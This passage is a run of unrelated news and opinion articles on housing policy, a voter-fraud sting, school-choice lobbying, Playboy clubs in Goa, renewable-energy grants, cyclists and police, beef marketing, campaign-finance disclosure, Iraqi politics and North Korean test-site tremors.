mortgage-backed securities that have permeated the financial markets. The markets might be able to do this on their own, but as we saw this week, it could be painful -- not to say prolonged -- and it runs the risk of overshooting. For this gambit to work, HOLC II would not have to buy every house that's up for sale. Indeed, its very offer to buy might be sufficient to end housing's downward spiral -- even with the large number of unsold homes still overhanging the market. And if the lower price this agency does offer causes demand to exceed supply, HOLC II, like its predecessor, might even be able to make a profit for the government. Who says history doesn't repeat itself? -Update, Jan. 11, 5:00PM: Mark Zuckerman, a federal prosecutor in the New Hampshire U.S. Attorney’s Office, told TPM he recently became aware of the Project Veritas video and was reviewing it but hadn’t formed any opinion on whether it presented an issue. It was one of the few — if not the only — coordinated efforts to attempt in-person voter fraud, and it was pulled off by affiliates of conservative activist James O’Keefe at polling places in New Hampshire Tuesday night. All of it part of an attempt to prove the need for voter ID laws that voting rights experts say have a unfair impact on minority voters. Now election law experts tell TPM that O’Keefe’s allies could face criminal charges on both the federal and state level for procuring ballots under false names, and that his undercover sting doesn’t demonstrate a need for voter ID laws at all.Federal law bans not only the casting of, but the “procurement” of ballots “that are known by the person to be materially false, fictitious, or fraudulent under the laws of the State in which the election is held.” Hamline University law professor David Schultz told TPM that there’s “no doubt” that O’Keefe’s investigators violated the law. “In either case, if they were intentionally going in and trying to fraudulently obtain a ballot, they violated the law,” Schultz said. “So right off the bat, what they did violated the law.” Election law expert Rick Hasen, who writes the Election Law Blog, joked in an email to TPM that O’Keefe’s team should “next show how easy it is to rob a bank with a plastic gun.” “Who in their right mind would risk a felony conviction for this? And who would be able to do this in large enough numbers to (1) affect the outcome of the election and (2) remain undetected?” Hasen wrote. Other election experts agreed that the video doesn’t change the substance of the debate over whether the minimal threat of in-person voter fraud is worth the impact that such laws can have on minority and poor voters. “The fact that activists can engage in a stunt is not a reason for reform,” Samuel Issacharoff, a professor of constitutional law at New York University Law School, told TPM. “It means nothing. Why would anybody want to do this? It proves that they don’t update their dead voter information as quickly as they might, but so what? To pull this off on a large scale, you’d need coordination, and presumably somebody would have heard about it.” Someone did, in fact, catch on to the scheme when a man dressed in a suit and tie tried to vote as a dead man known to the poll watcher. The man left before police arrived and said the poll watcher would “soon find out” why he tried to vote under a fake name, the Boston Herald reported Tuesday night. Henry Brady of the University of California told TPM that O’Keefe’s video showed that what his team did was “possible” but said that was never really a question. He also said that other techniques short of voter ID — like asking voters to sign a roll when they receive their ballot — would stop the type of fraud O’Keefe’s allies were attempting. “Yes, this shows it’s possible to do what they did but you have to ask yourself… how many illegal immigrants would risk a jail term to vote illegally?” Brady said. “What they didn’t tell us, were they ever stopped and asked what’s going on here.” John Samples of Cato told TPM that this would be a political issue and that O’Keefe was “pushing on an open door” because voter ID is politically popular. But he questioned whether it was worth the risk for O’Keefe. “This is illegal, right? This is fraud and you would think he would actually get into trouble for doing this,” Samples told TPM. Samples said that O’Keefe’s video could have an impact in the political fight over voter ID laws but “in the judicial fights — and the fight amongst wonks — it wouldn’t change much. The big question for policy always was what was the extent of it, and this doesn’t solve that question.” The video, first obtained by the Daily Caller, is embedded below. Late update: Richard Head of the New Hampshire Attorney General’s office issued this statement to TPM: “We became aware of the issue yesterday on election day, and immediately began conducting an investigation. In addition, based upon the information we received yesterday and the information in the video, we’ve initiated a comprehensive review of voting procedures with the Secretary of State.” -The Army on Friday released the name of a soldier who died Saturday from an apparent self-inflicted gunshot wound. Maj. Troy Donn Wayman, 44, was found in his home in Nolanville, Texas, near Fort Hood. He was pronounced dead by Bell County Justice of the Peace Bill Cooke shortly after 10 p.m. Saturday, according to the statement from First Army Division West officials. Wayman's death has been ruled a suicide, according to the death report prepared by the Southwestern Institute of Forensic Sciences in Dallas. The report was released to Army Times via an open records request. Wayman, who was from Lincoln, Nebraska, began his career in the Nebraska Army National Guard, joining in August 1989 as an armor cannon crewman. He was commissioned as a second lieutenant and entered active-duty service in May 1998. He had been assigned to First Army Division West, on Fort Hood, since October 2014. "This is a terrible loss, and we are grieving the loss of this valued teammate," said Maj. Gen. Jeffrey Colt, commanding general of First Army Division West, in a statement. "We remain fully committed to supporting Maj. Wayman's family and friends and want to reinforce no one should ever feel like they're alone or without our support." Wayman served two tours in Saudi Arabia, including during Desert Shield and Desert Storm. He also deployed twice to Iraq and once to Kosovo. -David Koch speaks at an Americans for Prosperity Foundation event in 2013. The Libre Initiative, one of the group's newest campaigns, is on track to make contact with more than 100,000 Hispanic households this year on school choice. | Phelan M. Ebenhack/AP Photo How the Kochs are trying to shake up public schools, one state at a time The push by Libre represents a new front in the fight by targeting Hispanic families. With school choice efforts stalled in Washington, the billionaire Koch brothers’ network is engaged in state-by-state battles with teachers’ unions, politicians and parent groups to push for public funding of private and charter schools. One of the newest campaigns is the Libre Initiative, a grassroots drive targeting Hispanic families in 11 states so far, under the umbrella of the Charles and David Koch-funded Americans for Prosperity, a powerful conservative and libertarian advocacy group. Story Continued Below While the Koch network has long been involved in school choice battles, the push by Libre represents a new front in the fight by targeting Hispanic families — and a recognition that with Congress gridlocked, it’s on the ground at the state level where the network can disrupt the educational status quo. The Koch message on schools is shared by Education Secretary Betsy DeVos, a longtime ally. “Across the [Koch] network, there’s a greater commitment to advancing this because we do see it as critical to advancing a free and open society,” Libre’s Executive Director Jorge Lima told POLITICO. The group has had some initial success — for instance, helping to thwart a moratorium on charter school expansion in New Mexico. But it’s also created bitter divisions in the Latino community and led to accusations the Kochs are trying to undermine public education — and even in some cases, to subvert the Democratic process. “Don’t let so-called Hispanic organizations such as the Libre Initiative deceive you ...” Geoconda Arguello-Kline, secretary-treasurer of the Culinary Union, wrote last year in a guest column published in the Las Vegas Sun. “Libre is not looking out for Nevadans’ best interest; it is working to benefit its billionaire Koch funders.” Despite such criticism, the group is hunkering down for the long haul in states it views as ripe for change even as it eyes new states for expansion. Lima says it’s on track to make contact with more than 100,000 Hispanic households this year on school choice. Morning Education A daily dose of education policy news — weekday mornings, in your inbox. Email Sign Up By signing up you agree to receive email newsletters or alerts from POLITICO. You can unsubscribe at any time. Besides Nevada and New Mexico, Libre is organizing in Arizona, Colorado, Virginia, Florida, North Carolina, Ohio, Pennsylvania, Texas and Wisconsin. Its recent efforts, with other Koch-backed groups, include: — A planned “six-figure” spend in Nevada on “deep canvassing” in Hispanic neighborhoods to build support for educational savings accounts, which enable families to use state tax dollars to pay for private school. Although such a program was passed by the Nevada Legislature in 2015, it never took effect after the funding mechanism was ruled unconstitutional. — A lawsuit brought by Americans for Prosperity, among others, aimed at stopping a 2018 Arizona referendum asking voters whether they want to keep a school choice law passed earlier this year. The law would expand the availability of education savings accounts to more than 30,000 families — a move that public school supporters fear would divert millions of dollars from financially stretched public schools. — A “six-figure” Libre and Americans for Prosperity campaign in Colorado this summer to promote charter schools and education savings accounts and another ahead of a Nov. 7 school board race by the Americans for Prosperity Foundation to push choice-friendly issues. — A seven-figure investment In Virginia’s gubernatorial race by Americans for Prosperity that includes a video criticizing Virginia Lt. Gov. Ralph Northam, a Democrat, for his opposition to education savings accounts. — Mailings in Spanish and English supporting a Florida law that encourages charter schools in communities with low-performing schools. After Gov. Rick Scott, a Republican, signed it into law, the state Democratic Party said he’d “declared war on our public schools.” Mike Petrilli, president of the conservative-leaning Thomas B. Fordham Institute, said it’s noteworthy the Koch network has singled out school choice. "It’s telling us they have good reason to believe this is an issue that’s resonating with Latino families,” he said. He also gave the initiatives strong odds at changing at least some state policies. “Most of these states have had very active school choice movements with other organizations on the ground trying to expand programs,” Petrilli said. “ … It could be enough to put some of these ideas over the top.” The state tug of wars come as a federal push for school choice has slowed, with Congress balking at the few private school-choice expansion measures that DeVos has sent to Capitol Hill. The Trump administration’s budget called for a $250 million private school choice program and an initiative that would have allowed Title I funds to follow students to a new school — both ideas that were rejected by House and Senate appropriators. The House and Senate bills did boost funding for charter schools — but not by the $500 million the administration sought. Nonetheless, Koch organizers view DeVos as a national booster for their cause. Americans for Prosperity has long worked in tandem with the school choice advocacy group that DeVos cofounded and previously chaired, the American Federation for Children — even sponsoring its annual conference. Libre also endorsed her as secretary. “It does help to have someone like Secretary DeVos as leading this conversation on such a national level, so that when we knock on that door it literally is not the first time that they heard about charter schools or education savings accounts,” Lima said. Randi Weingarten, president of the American Federation of Teachers union and a fierce critic of the Kochs and DeVos, said the Koch-funded push is about destabilizing public schools. She said she thinks austerity efforts to drastically cut school spending in states like Kansas backfired, so the Kochs are emphasizing private school choice instead. “They and Betsy DeVos are twins,” Weingarten said. “They are about destroying public education and destroying the foundations of opportunity for working folk.” Like DeVos, Koch organizers insist the push isn’t about dissolving public education, but about making more options available to Hispanic and other families. And like DeVos and her husband, Charles Koch has been a longtime supporter of the conservative American Legislative Exchange Council, which has advocated for state laws that encourage private school choice expansion. The Charles Koch Foundation is also a donor to Harvard’s Program on Education Policy and Governance, which recently hosted a school choice conference featuring DeVos as the keynote speaker. It’s unclear what, if any, coordination might exist between the Education Department and the Koch network. An Education Department spokeswoman did not respond when asked for comment. Lima said Libre is in contact with the department, but the group’s direction stems from polls and conversations with Hispanic families, who say they care deeply about education. Hispanic families want more options for their children, he said, and the “only thing that’s really changing the game right now” is giving parents a say in “having greater access.” Achievement gaps for Hispanic students persist. Even as they’ve made gains, there are still gaps with their non-Hispanic white peers hovering around 20 points on the National Assessment of Educational Progress test known as the “nation’s report card.” The graduation rate for Hispanic students is 78 percent, compared to the national rate of 83 percent. In many ways, Lima suggests, Libre is playing a long game. In Arizona, the referendum vote set for 2018 would ask voters to decide whether they want to keep a law that expands education savings accounts. Arizona Gov. Doug Ducey, a Republican, backed the law and said this summer during a three-day Koch donor retreat in Colorado Springs that, “I need the power of the network” to get it passed, the Denver Post reported. Oral arguments on the referendum challenge are scheduled to be heard Dec. 1 in Maricopa County Superior Court. Dawn Penich-Thacker, a spokeswoman for Save Our Schools, a parent group that helped collect the signatures to challenge the Arizona law, said the push by Libre in her state is disingenuous. She said that families aren’t told there are financial limits to what would be available to them for private school tuition, which would be around $5,000. She said many families would be surprised to learn that might not cover all the costs of their kids’ private schooling, especially when the students get to middle or high school. She also said Libre is participating in a “systemic degrading” of public schools, and stirring fear. It makes families feel like participating in a private school program “is the only good thing I can do for my children,” Penich-Thacker said. In Nevada, after now-Sen. Catherine Cortez Masto (D-Nev.) came out in opposition to education savings accounts last year when she was state attorney general, Libre ran digital ads accusing her of “lining up against Latino families and in support of special interests.” “Hispanic children are trapped in overcrowded and failing schools as a result of the system Cortez Masto is defending,” the group said. Others in the Latino community, including Arguello-Kline of the Culinary Union, came to Cortez-Masto’s defense. “We absolutely do not support the Koch brothers coming into Nevada,” said Ruben Murillo, president of the Nevada State Education Association teachers’ union, saying education savings accounts would siphon millions from public education. “Our message to the Latino community is, what guarantee do you have that you’re gonna have good quality schools where they are accepted and where they are able to work with them on their individual needs?” Murillo said. In Colorado, the site of the pro-charter school drive, the term “school choice” is being used by Americans for Prosperity “to push a movement to divert public dollars from public schools and undermines the public’s confidence in our public schools,” said Susan Meek, communications director at Great Education Colorado, a group that backs public education in Colorado. Meek said that not all “school choice” is the same, and this “strategic decision to use this term has been highly effective in hiding the privatization movement behind the guise of charter schools.” DeVos has not publicly weighed in on any of the Koch-backed initiatives, but she emphasized the action in the states in her recent Kennedy School speech. “Washington, and in particular the U.S. Department of Education, just needs to get out of the way,” she said. “That's because the real future of choice is in states. It's their futures to shape. And it's already underway today.” -It was going to happen sooner or later: Playboy’s plans to open clubs in Goa are facing opposition from local politicians. Michael Lobo, a member of the state assembly for Goa’s ruling Bharatiya Janata Party, is leading the crusade against Playboy, saying he will go on hunger strike if the local government gives the adult entertainment brand a green light to open clubs in his home state. "Playboy is nothing but a glorified dance bar or a glorified prostitution joint," an enraged Mr. Lobo told India Real Time. He is worried the Playboy Clubs will somewhat turn Goa – already popular with partygoers from around the world – into a “sex tourism destination.” If the clubs open, "families won't come here," he said. As many as 120 Playboy-branded clubs, hotels, fashion bars and cafés are set to open in India over the next 10 years, starting with clubs in Goa at some point this year. The location for the first Playboy Club is Calangute – the Goa constituency Mr. Lobo is from. Mounting political opposition to Playboy may thwart these plans. Wilfred Mesquita, a spokesman for the BJP in Goa, said: “Anything which affects the morality and culture of Goa will be opposed by the party. If this Playboy is the same Playboy which is abroad, then we will definitely oppose it." He added his party is looking into what form the Playboy Clubs would take in India, and respond accordingly. Subhash Shirodkar, a senior member of the rival Congress party in Goa, said his party is opposed to Playboy Clubs. Adult entertainment is widely frowned upon in India. This is the key reason why Playboy magazine isn't even permitted on local newsstands. In keeping with local cultural sensitivities, the Playboy brand has been significantly toned down in India. For instance, Playboy bunnies in India will show less skin, says Sanjay Gupta, chief executive officer of PB Lifestyle Ltd., a Mumbai-based company that has an exclusive license to market Playboy merchandise and to set up and manage clubs here. The original bunny suit – the outfit worn by waitresses in Playboy Clubs– has been modified to suit Indian sensibilities. "Playboy bunnies are integral to Playboy clubs and we have told them that we have toned down the bunny outfit," Mr. Gupta told India Real Time. In India the so-called “bunnies” will wear full-length sheer skirts and tube tops. "We filed an affidavit to the government categorically stating that as far as our club format goes, there is definitely no vulgarity," Mr. Gupta told India Real Time. PB Lifestyle is unrelated to the empire of Playboy magazine founder Hugh Hefner. Failure to secure a license from Goa’s tourism department has already delayed the opening of the first club by several months. But Mr. Gupta is confident that the company will secure the license it needs from Goa’s tourism department. Dilip Parulekar, Goa’s tourism minister, told India Real Time he will discuss the Playboy license this weekend with chief minister Manohar Parrikar. Previously, Mr. Lobo has crusaded against dance bars in his constituency. He said he got 14 dance bars, a front for prostitution which is illegal in India, to shut down. Follow India Real Time on Twitter @indiarealtime. Playboy CEO Discusses the Future of Playboy Hugh Hefner on His Girlfriends, Son and Movie -Solar Cash Grant Extension to be in Saturday’s Tax Cuts Vote! December 3rd, 2010 by Susan Kraemer Tomorrow a vote is to be held on continuing the middle class cuts (while letting millionaires now scrape by on a tax cut on merely the bottom $250,000 of their income) and into this bill, Senator Baucus has slipped some goodies for us climate hawks who love clean energy solutions. The Hill is reporting that Senate Finance Committee Chairman Max Baucus has an amendment within the tax bill, to extend Section 1603, the cash grants for renewable projects. Amendment 4727 will extend the hugely popular and effective Section 1603 cash grants for renewable projects that was to have expired at the end of this year. The 30% cash grants from the stimulus bill (The Recovery Act of 2009) have fueled unprecedented growth of renewable development in the US (as much as in the entire last 30 years combined; putting an estimated 16 Gigawatts of renewable energy on the grid.) But they were to have expired on December 31st, 2010, on the assumption that the economy would have righted itself by now after the Great Recession of 2008. But that is not the case, and at least 11 Gigawatts has to make it by then, or turn into a pumpkin. I have noted before that Senator Baucus has a history of quietly slipping in amendments favorable to renewable energy into other bills. In 2008, when the Bush bank bailout had to be passed, (remember how Wall St dropped 700 points in a day) he quietly slipped in the PTC extension. Here’s what’s in tomorrow’s amendment. Domestic energy manufacturing. The bill provides an additional $2.5 billion in funding for the Section 48C advanced manufacturing tax credit. Section 48C was established in the American Recovery and Reinvestment Act to provide a 30% investment tax credit for facilities engaged in the manufacture of advanced energy property. Credits are available only for projects certified by the Secretary of Treasury, in consultation with the Secretary of Energy, through a competitive bidding process. Payment in lieu of production and investment credits. The bill codifies the direct payment in lieu of tax credit program that was initially created by Section 1603 of the American Recovery and Reinvestment Act, and extends the program through December 31, 2011. There is lots more good stuff too. Worth a read! Amendment 4727 (PDF). Here’s where to find the vote tomorrow, live on C-Span2at 7 AM PST. Image: Streets Blog Susan Kraemer@Twitter -CRANBERRY TWP — A father and son who are avid bikers have a few issues with the township police and claim the officers have little idea of what the bike laws are. Jack and Brendan Linton talked to the township supervisors Nov. 19 about their concerns. Brendan Linton said he and his father share the same enjoyment of cycling and combined they ride an excess of 3,000 miles per year, mostly in the township. “At no time do my father and I — and at no time will we — ask for special treatment. That is not why we are here. We are asking for equal treatment from our police department,” Brendan Linton said. “Our goal and our families’ goal is to have us return home safely.” Since the spring of 2007, Brendan Linton claims he and his father have had several instances where they have had interactions with police. While some of these interactions have been good, many of them have not, he said. Brendan Linton said he and his father learned few officers know the bicycle laws but fewer know the proper enforcement of them. “I have to be honest. I’ve worked with other police departments in various counties and hate to use this language, but Cranberry Township’s Police Department is clueless on the bicycle laws. They have absolutely no idea,” Brendan Linton said. Jack Linton said over time other incidents have happened where motor vehicles have cause collisions with them, two of which resulted in charges being filed against Brendan Linton. In 2014, Brendan Linton’s path was interfered with by a motorist on Haine School Road, Jack Linton said. Brendan Linton and the vehicle driver had an argument. According to Jack Linton, the vehicle operator repeatedly threatened to assault him. In self-defense, Brendan Linton advised the operator that he would be pepper sprayed if he continued that. Both the driver and Brendan were cited with disorderly conduct, Jack Linton said. A citation was not issued to the operator for encroaching on the 4 foot clearance that cyclists are supposed to have or for the threat of assault, Jack Linton said. Brendan Linton was found guilty of disorderly conduct by District Judge David Kovach, but the driver was found guilty of nothing, Jack Linton said. In May, Brendan Linton was riding on Haine School Road and was hit a passing vehicle’s side mirror, which broke when Brendan Linton pushed off the vehicle, Jack Linton said. A charge of criminal mischief/damage property was filed against Brendan Linton. “When questioned at the summary trial, officer (Victor) Korol stated that he has not been trained in the bicycle laws at any time during the past year or during the past five years,” Jack Linton said. Brendan Linton was found guilty of criminal mischief/damage property by District Judge Kovach in July, according to court documents. Jack Linton said in an appeal to Butler County Court, Brendan Linton was found not guilty. According to court documents, on Oct. 28 Brendan Linton was found not guilty by agreement of the parties of the charge of criminal mischief. “Exactly the same as the previous two collisions, the motor vehicle operator was never cited,” Jack Linton said. Jack Linton said an assistant district attorney told him that he approved the charge of criminal mischief because he was told by officers that Brendan Linton “followed the driver to the next intersection and broke the mirror in a fit of rage.” He noted the video evidence from the cameras on the front and rear of the bikes showed otherwise. Brendan Linton said there are clear issues with the police department. “The enforcement of the laws is inconsistent. The actions of several officers is unprofessional and in some cases unlawful,” he said. “The police have not cited the proper individuals in the incidents and filed citations against me based on facts or allegations that are later proven to be completely false,” Brendan Linton said. Brendan said that he and his father have talked to law firms explaining their experiences. “Each has advised us to take the same steps of action and our first step is this presentation,” Brendan Linton said. Brendan Linton said they are asking the supervisors and staff members to work together and take action to correct the issues. Township manager Jerry Andree said, “We respect and appreciate the passion Jack and Brendan have concerning bicycles. They have been helpful to us in developing our bicycle programs and trying to become a more bicycle friendly community.” There are conflicts between bicyclists and motorists, said Jeffrey Schueler, director of public safety. “We get very few bicyclist complaints, but when we do, it’s a conflict between the driver and the bicyclist.” Schueler said he encourages the public to look at and understand the bicycle laws. “Because bicyclists do have a right to the roadway and we all have to share the roadway with each other and we have got to be good neighbors,” Schueler said. “We want people to be safe on our roads and that is what the police officers are focused on,” he said. Andree said the state mandates exactly what the officers are taught. “Every year to continue to be a police officer you have to go to training. It is 16 hours of training every year,” Schueler said. “The state determines what that training is and part of the training is updates in criminal law, updates in traffic laws, so they’re briefed on anything new that has come up.” Andree said when the bicycle laws changed three years ago, the state put one slide into the presentation that talked about bikeways. “The state has not educated the police officers on anything additional for the last two years,” Andree said. Andree said he has no concerns with the training of the officers. “We are very confident that the training meets or exceeds all state standards,” Andree said. -I’ve been reading a book titled Drive. Its goal is to discuss what motivates us, yet it is one of those books that isn’t particularly well written or entertaining. But alas, it is a book that gets you thinking in a more concrete fashion about things you have always known. It reminds me of a college book—not interesting enough to make it really enjoyable, but meaningful enough that you keep going back to it until you finally finish. The book basically boils motivation down to three essential ingredients: autonomy, mastery and purpose. Or in an even simpler form, what gets you up in the morning or keeps you up at night? Related: 70 photos of hard-working beef producers I try to apply every business book I read to my business, my family and my relationships with the hope of making them better. My world view tends to be like a typical economist. Profit is the motivator, profit is the goal, profit is the purpose. Yet, I think that is one of the reasons I have always admired ranchers so much. Their primary purpose and goals are rarely about profits. Profits are a good thing; they are essential to the survival of a business, but also a very good way of measuring whether or not the business is achieving its greater purpose. Related: 12 Reasons You Should Be Proud To Be A Hard Worker The concepts in this book seem almost intuitive at a personal or business level, if not always easy to implement. But it also got me to thinking about these concepts from an industry perspective. Our industry is an endless story of passionate, hard-working people and businesses striving to build a legacy. But from an industry perspective, we morph into metrics like profitability, beef demand, or market share. There’s nothing wrong with that. After all, the industry is not sustainable without them. However, they are a lot like selection indexes—they are a great way to measure your progress, but you improve them by improving the individual components that make up the index. We achieve our goals as an industry by increasing consumers’ connection with our product, creating more memorable and enjoyable eating experiences and providing more value. It isn’t prices we receive or advertising dollars we spend. We tend to focus on the comfortable instead of the important. The artificial insemination (AI) business is a great microcosm of this. Only 3-5% of the cows in this country are AI’d. So a 2% increase in that number would increase the size of the business by 40%-60% and profitability by even greater margins. Yet, the industry as a whole spends very little time growing AI acceptance. Instead of growing the size of the pie, they fight ferociously every day to increase the size of their slice of the pie. Everyone benefits from a growing industry and everyone is harmed by a shrinking industry. Yet, we spend precious little time and capital on growing our industry. Truth be known, most of the time spent on the big aggregate things are more designed to preserve what we have or to stop the decline rather than truly grow it. I always thought that the great disadvantage our industry had to overcome was being a commodity market. That has been and continues to be an impediment, even as the industry attempts to transition toward a differentiated value-based marketing structure. As I get older, however, I’m starting to realize that the problem is dwarfed by our segmented business model. Everyone does a great job, but unlike other businesses there is no clear individual responsibility for meeting and building the demands of consumers or addressing competitive concerns. The result is a mad race for efficiency and grabbing market share, not from an overall market perspective but from a narrowly focused segment mentality. As crazy as it might sound, I think the checkoff has even contributed to the problem. Yes, it saved us from the precipice and helps to keep us from going the way of the lamb industry, but it also gave us as individuals an excuse to abdicate our responsibility to grow our industry. The other ironic factor is that we have been let off the hook for growing our industry because our product simply tastes a lot better than our competitors. They have had to innovate, improve their product offerings and invest greatly in marketing, efficiency, and product development. We haven’t. We look at the aggregate numbers our industry spends and think it is significant dollars, but that’s a warped perspective. Imagine you are selling 10 bred heifers and I gave you $10 to promote them. The average fed animal grosses several thousand dollars and yet we are invested $1 per animal to promote the consumer products it produces. For a little perspective, the average company spends 2% of its revenue on advertising. In contested markets, that number is even higher. For example, Ford sells about 2 million cars per year and they spend $4 billion advertising. And no, that doesn’t count the billions of dollars its dealers spend as well. Even Microsoft, which enjoys a dominant market share position and limited competition, spends nearly 3% of its revenues on advertising. The beef industry on a retail equivalent is a $105 billion industry. It is hard to fathom, but if we were a company, we would be investing several billion dollars a year in advertising! The marketing, research and development numbers are equally as disturbing. We should be debating if $15 or $20 per head is a more appropriate number. Instead, we are talking about whether or not we can raise it to $2. It is like our politicians who talk about reducing our nearly $20 trillion debt by eliminating a $1 million budget line item. While it is true that we must start somewhere, a solution that is wholly inadequate to address the problem is always going to be a tough sale. -The Senate Judiciary Committee is launching a probe into an allegation that Hillary Clinton's State Department threatened a foreign government. "Clinton Cash" author Peter Schweizer said Clinton pressured Bangladeshi Prime Minister Hasina Wazed to drop an investigation of a Clinton Foundation donor. He said the State Department pressured Wazed to dismiss a corruption investigation of businessman Mohammad Yunnus. Tomi Lahren: 'The New Generation Is Fighting for Segregation' Ted Cruz: 'Maddening' That Feds Refused to Act on Domestic Terror Intel CNN Host: Trump 'A Piece of S--t' for His Response to London Attack "If they didn't do that, they would have the IRS audit her son," Schweizer said. Sajeeb Wazed Joy has lived in the United States for about 20 years. If the allegations prove true, Schweizer said "siccing the IRS on foreign government officials and their families is beyond the pale." "[This] fits the pattern of behavior of the Clintons," he said. Watch the clip above. 'That Was My Hope': In Lawsuit, O'Malley Admits Gerrymandering MD to Boot GOP Brad Thor: 'We Have Zero-Tolerance for Child Porn', Why Not for Radical Islam Ted Cruz: 'Maddening' That Feds Refused to Act on Domestic Terror Intel -Sen. Lisa Murkowski (R-Ala.) and Sen. Ron Wyden (D-Ore.) unveiled a new bill this week requiring all groups that spend money independently of campaigns, candidates, or parties to influence a federal election or nomination to disclose their donors. Although we have concerns with the bill, the senators' hearts are certainly in the right place, and they should be applauded for actively soliciting input during the drafting process from interested parties on all sides of the debate. The "Follow the Money" Act does several things better than competing proposals like the DISCLOSE Act. For instance, it removes the disclosure requirements for ads that simply mention a candidate close to an election or primary. It also raises the threshold for reporting of direct contributions to candidates from the exceedingly low $200 to $1,000 and creates two options for groups looking to preserve donor anonymity, which are similar to existing law. Groups can either create a safe harbor account seeded by donations below $1,000 (donors to which stay anonymous), or they can create a separate account for covered spending (and only contributors to that account have to be disclosed). Unfortunately, like all of the recent disclosure proposals, the Wyden-Murkowski bill fatally fails to clearly define the type of expenditure that would trigger disclosure. The heart of the bill is the creation of a new definition of "independent federal election-related activity expenditure," which I'm going to imaginatively call an IFERAE. IFERAEs are defined as any expenditure that "considering the facts and circumstances, a reasonable person would conclude is made solely or substantially for the purpose of influencing or attempting to influence the nomination or election of any individual to any Federal office." The definition is not, as is usually the case, limited to just advertising and could cover independent polling, research, or messaging. If you make IFERAEs over $10,000—no matter what—you automatically have to disclose all your donors. The only exceptions are the separate account options I mentioned above, which are certainly welcome but may not be feasible for smaller or single issue advocacy groups who often have to rely on large donations from fewer contributors. There is also a waiver for donors who contribute less than $5,000, which may be hard for groups to secure in practice. The vagueness of the IFERAE definition creates two main problems. First, this bill is going to cover a lot more political activity and speech. It almost certainly will sweep in pure "issue ads" by groups like the ACLU, the Sierra Club or the Humane Society. For instance, a similarly vague provision in the 1971 campaign finance law was cited in the decision by the New York Times to refuse to publish an advertisement by the ACLU in the New York Times criticizing President Nixon for his position on busing. The ad itself did not call for Nixon's defeat, but the Times feared that its harsh tone would open it to liability for publishing an illegal campaign ad. Second, the bill is going to open the door to selective enforcement. Groups critical of the government or who support unpopular causes will find that their expenditures are more likely to be covered by the definition. There is no question the public has a legitimate interest in knowing who is corruptly spending scads of cash trying to influence voters and lawmakers. But the public should also be able to anonymously support advocacy organizations that engage on the issues of the day, even if they praise or criticize candidates or nominees for their positions on those issues. Absent anonymity, some donors—on both the left and the right—will simply not donate out of the legitimate fear they will be harassed or retaliated against for their advocacy. Importantly, it's not clear—and it needs to be clear—that anonymous political donations to independent issue advocacy groups are actually corrupting. During the last election cycle, there was significant outcry over so-called "dark" money: political expenditures by groups that do not publicly disclose their donors. But, when you look at the facts, dark money made up a relatively small percentage of all outside spending, and even groups that support expanded disclosure find that it had little concrete effect on the ground. In many tight Senate races, for instance, it was actually the incumbency advantage in direct fundraising by Democrats that made the difference. Before we vastly expand disclosure requirements for issue advocacy, we need a record of real harm, which we just don't have right now. The campaign finance issue is hard because reform is actually being pushed in response to a real problem: large, self-interested agglomerations of wealth that can and do wield an outsized influence in the political process. That's something that we need to address, but the real question is how. As Justice Brandeis famously said, "[t]he greatest dangers to liberty lurk in insidious encroachment by men of zeal, well-meaning but without understanding." In other words, sometimes the urge to just "do something" about a problem results in serious unintended consequences. Donor disclosure is one of the areas where we need to be very careful of those consequences. Learn more about campaign finance reform and other civil liberty issues: Sign up for breaking news alerts, follow us on Twitter, and like us on Facebook. -The followers of Muqtada al-Sadr, who form a king-making bloc in the next Iraqi government, have confirmed they will not accept Prime Minister Nour al-Maliki's candidacy for a second term as leader. The move effectively ends the career of the US-backed incumbent. The Sadrists' stance comes after a five-month political stalemate that threatens to leave Iraq leaderless, as the remaining 15,000 or so US forces leave the country ahead of a 31 August deadline. The move is seen as a potential breakthrough in the destabilising deadlock that many believe has led to a steady increase in violence. The decision was confirmed today by the head of the Sadrist political bloc, Nassar al-Rubaie. He said he had told Maliki that he would have to leave his post in order for the Sadrists to maintain support for his party in an eventual coalition government. Without the support of the Sadrists, who are led by the exiled anti-western cleric, Muqtada al-Sadr, neither of the two biggest rival political blocs would be unlikely to be able to form a government. This includes the head of the Iraqiya Alliance, Iyad Allawi, who last month courted al-Sadr's support in a public meeting in the Syrian capital, Damascus. However, al-Rubaie indicated that the Damascus summit has not led the Sadrists to split from the largely Shia Islamic bloc that threatens to sidelineAllawi's cross-sectarian alliance. Al-Rubaie revealed that the 40-strong bloc of MPs in an eventual new parliament had thrown their support behind former transitional prime minister Ibrahim al-Jaafari, who led Iraq throughout 2005, on the eve of the breakout of full-blown sectarian chaos. "Maliki eventually isolated all around him by his behaviour," said al-Rubaie. "This includes all members of his alliance. In the end, it was only his Dawa party that had influence that spread throughout all branches of government. The Sadrists have had a strained recent history with Maliki whom they accuse of allowing US jets to bomb Sadr City in Baghdad in 2007 and 2008 and of reneging on a pledge to release up to 400 Sadrist prisoners who were handed over by US forces late last year. "Whenever we asked him anything, he would say yes, yes, yes, then not keep any one of his pledges," said al-Rubaie. The move against Maliki was announced yesterday by former deputy prime minister, Ahmed Chalabi, whose Iraqi National Congress Party has allied with the Sadrists and the main party in their bloc. Both Chalabi and al-Jafari remain deeply unpopular with the US government. They accuse Chalabi of providing false information that helped make a case for the 2003 invasion. The US gripe with al-Jafari, however, is that he failed to safeguard the country from a slide into sectarian crisis. Iraqi officials said yesterday that July marked the highest nationwide death toll of any month since the same period in 2008. They said 535 people were killed and 1,043 wounded during violent attacks. However, the US military later refuted that figure, claiming only 222 people were killed last month, less than half the number compiled by Iraq. US officials have dreaded a scenario of Iraq remaining without a new government after their combat forces have left by the end of the month. The US have been equally sensitive to claims that violence is increasing and that services have barely improved throughout over the past seven years. -North Korea’s nuclear test site has experienced several post-test tremors since the rogue regime detonated a staged thermonuclear bomb in September. The occurrence of multiple earthquakes in the aftermath of North Korea’s sixth and largest nuclear test to date triggered speculation that North Korea may have severely damaged its nuclear test site, possibly rendering it unsuitable for future testing. North Korea tested a suspected hydrogen bomb in early September, and the bomb is believed to have produced a powerful explosive yield around or potentially well in excess of 250 kilotons. The resulting tremors led some to conclude that Mt. Manhap, where the Punggye-ri test site is located, may be suffering from a case of Tired Mountain Syndrome, a condition in which the rock becomes fractured and permeable as a result of repeated underground nuclear testing. But, leading experts Frank Pabian and Jack Liu argue in a report for 38 North, a North Korea research and monitoring site, that post-test tremors are not unusual, pointing to the occurrence of such tremors after American nuclear tests at the Nevada Test Site. The two scholars point to a 1969 study, which asserts that “increases in seismic activity in the Nevada region were common following underground nuclear explosions at the US Nevada Test Site,” and some of the post-test earthquakes had magnitudes significantly larger than those of the quakes that 